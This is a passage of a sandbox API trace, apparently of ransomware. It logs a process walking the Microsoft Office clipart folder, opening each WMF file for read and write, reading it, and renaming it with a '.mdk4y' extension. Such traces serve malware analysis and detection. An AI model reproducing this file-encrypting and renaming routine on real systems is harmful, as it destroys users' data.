office\\clipart\\pub60cor\\j0188669.wmf.mdk4y")) returned 1 [0159.845] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0159.845] AreFileApisANSI () returned 1 [0159.845] GetACP () returned 0x4e4 [0159.846] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0188679.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0188679.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0159.846] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0159.846] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823507600000) returned 1 [0159.846] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x336a, lpOverlapped=0x0) returned 1 [0159.856] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823508600000) returned 1 [0159.856] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823508600000) returned 1 [0159.857] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf.mdk4y")) returned 1 [0159.858] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0159.858] AreFileApisANSI () returned 1 [0159.858] GetACP () returned 0x4e4 [0159.858] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0195248.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0195248.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0159.858] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0159.859] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823508900000) returned 1 [0159.859] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1ca4, lpOverlapped=0x0) returned 1 [0159.908] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823513800000) returned 1 [0159.908] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823513800000) returned 1 [0159.908] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf.mdk4y")) returned 1 [0159.909] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0159.909] AreFileApisANSI () returned 1 [0159.909] GetACP () returned 0x4e4 [0159.909] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0195254.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0195254.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0159.909] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0159.909] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823513900000) returned 1 [0159.910] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x11b6, lpOverlapped=0x0) returned 1 [0159.956] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823518600000) returned 1 [0159.956] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823518600000) returned 1 [0159.957] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf.mdk4y")) returned 1 [0159.958] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0159.958] AreFileApisANSI () returned 1 [0159.958] GetACP () returned 0x4e4 [0159.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0195260.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0195260.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0159.958] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0159.958] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823518800000) returned 1 [0159.958] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x207a, lpOverlapped=0x0) returned 1 [0160.029] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823525900000) returned 1 [0160.029] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823525900000) returned 1 [0160.029] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf.mdk4y")) returned 1 [0160.030] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0160.030] AreFileApisANSI () returned 1 [0160.030] GetACP () returned 0x4e4 [0160.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0195320.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0195320.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0160.030] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0160.031] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823526100000) returned 1 [0160.031] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x72f8, lpOverlapped=0x0) returned 1 [0160.032] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823526200000) returned 1 [0160.032] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823526200000) returned 1 [0160.033] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf.mdk4y")) returned 1 [0160.033] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0160.033] AreFileApisANSI () returned 1 [0160.033] GetACP () returned 0x4e4 [0160.034] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0195342.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0195342.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0160.034] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0160.034] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823526400000) returned 1 [0160.034] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5350, lpOverlapped=0x0) returned 1 [0160.053] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823528300000) returned 1 [0160.053] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823528300000) returned 1 [0160.054] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf.mdk4y")) returned 1 [0160.054] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0160.054] AreFileApisANSI () returned 1 [0160.054] GetACP () returned 0x4e4 [0160.054] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0195428.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0195428.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0160.054] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0160.055] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823528500000) returned 1 [0160.055] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x48be, lpOverlapped=0x0) returned 1 [0160.067] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823529700000) returned 1 [0160.067] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823529700000) returned 1 [0160.068] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf.mdk4y")) returned 1 [0160.068] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0160.068] AreFileApisANSI () returned 1 [0160.068] GetACP () returned 0x4e4 [0160.068] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0195772.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0195772.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0160.068] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0160.069] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823529900000) returned 1 [0160.069] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe60, lpOverlapped=0x0) returned 1 [0160.114] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823534400000) returned 1 [0160.114] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823534400000) returned 1 [0160.115] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf.mdk4y")) returned 1 [0160.115] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0160.115] AreFileApisANSI () returned 1 [0160.116] GetACP () returned 0x4e4 [0160.116] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0195788.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0195788.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0160.116] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0160.116] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823534600000) returned 1 [0160.116] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xbbc, lpOverlapped=0x0) returned 1 [0160.130] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823536000000) returned 1 [0160.130] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823536000000) returned 1 [0160.131] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf.mdk4y")) returned 1 [0160.132] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0160.132] AreFileApisANSI () returned 1 [0160.132] GetACP () returned 0x4e4 [0160.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0196060.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0196060.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0160.132] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0160.133] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823536300000) returned 1 [0160.133] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x128e, lpOverlapped=0x0) returned 1 [0160.190] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823542000000) returned 1 [0160.190] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823542000000) returned 1 [0160.191] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf.mdk4y")) returned 1 [0160.192] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0160.192] AreFileApisANSI () returned 1 [0160.192] GetACP () returned 0x4e4 [0160.192] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0196110.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0196110.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0160.192] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0160.193] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823542300000) returned 1 [0160.193] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x14ce, lpOverlapped=0x0) returned 1 [0160.222] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823545200000) returned 1 [0160.222] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823545200000) returned 1 [0160.222] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf.mdk4y")) returned 1 [0160.223] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0160.223] AreFileApisANSI () returned 1 [0160.223] GetACP () returned 0x4e4 [0160.223] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0196142.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0196142.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0160.223] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0160.224] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823545400000) returned 1 [0160.224] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xef2, lpOverlapped=0x0) returned 1 [0160.233] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823546300000) returned 1 [0160.233] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823546300000) returned 1 [0160.233] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf.mdk4y")) returned 1 [0160.233] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0160.233] AreFileApisANSI () returned 1 [0160.233] GetACP () returned 0x4e4 [0160.233] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0196354.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0196354.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0160.234] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0160.234] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823546400000) returned 1 [0160.234] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3586, lpOverlapped=0x0) returned 1 [0160.250] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823548000000) returned 1 [0160.250] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823548000000) returned 1 [0160.250] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf.mdk4y")) returned 1 [0160.251] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0160.251] AreFileApisANSI () returned 1 [0160.251] GetACP () returned 0x4e4 [0160.251] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0196358.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0196358.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0160.251] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0160.251] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823548100000) returned 1 [0160.251] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1b00, lpOverlapped=0x0) returned 1 [0160.293] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823552300000) returned 1 [0160.293] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823552300000) returned 1 [0160.293] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf.mdk4y")) returned 1 [0160.294] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0160.294] AreFileApisANSI () returned 1 [0160.294] GetACP () returned 0x4e4 [0160.294] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0196364.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: 